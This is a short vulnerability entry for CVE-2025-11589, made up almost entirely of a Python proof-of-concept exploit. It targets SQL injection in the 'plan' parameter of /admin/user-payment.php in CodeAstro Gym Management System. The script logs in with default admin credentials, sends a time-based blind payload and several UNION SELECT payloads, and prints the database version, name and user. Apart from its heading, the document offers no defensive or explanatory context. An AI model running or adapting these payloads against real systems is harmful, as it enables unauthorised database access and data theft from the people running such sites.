CVE-2025-11589：CodeAstro健身房管理系统SQL注入漏洞

# CVE-2025-11589 - CodeAstro Gym Management System SQL Injection PoC # Vulnerable file: /admin/user-payment.php # Vulnerable parameter: plan import requests # Target configuration TARGET_URL = "http://target-site.com" LOGIN_URL = f"{TARGET_URL}/admin/login.php" VULNERABLE_URL = f"{TARGET_URL}/admin/user-payment.php" USERNAME = "admin" PASSWORD = "admin123" # Create session to maintain cookies session = requests.Session() # Step 1: Login to obtain low-privilege authenticated session login_data = { "username": USERNAME, "password": PASSWORD } session.post(LOGIN_URL, data=login_data) # Step 2: Exploit SQL injection via 'plan' parameter # Time-based blind SQL injection payload sql_payload = "1' AND SLEEP(5)-- -" # Alternatively, UNION-based injection to extract data union_payload = "1' UNION SELECT 1,2,3,4,5,6,7,8,9,10-- -" params = { "plan": sql_payload } # Step 3: Send the malicious request response = session.get(VULNERABLE_URL, params=params) if response.status_code == 200: print(f"[+] Response received (length: {len(response.text)})") print(f"[+] Check response for data extraction") else: print(f"[-] Request failed with status code: {response.status_code}") # Step 4: Extract database information using UNION injection extraction_params = { "plan": "1' UNION SELECT 1,version(),database(),user(),5,6,7,8,9,10-- -" } response = session.get(VULNERABLE_URL, params=extraction_params) print(f"[+] Database info: {response.text}")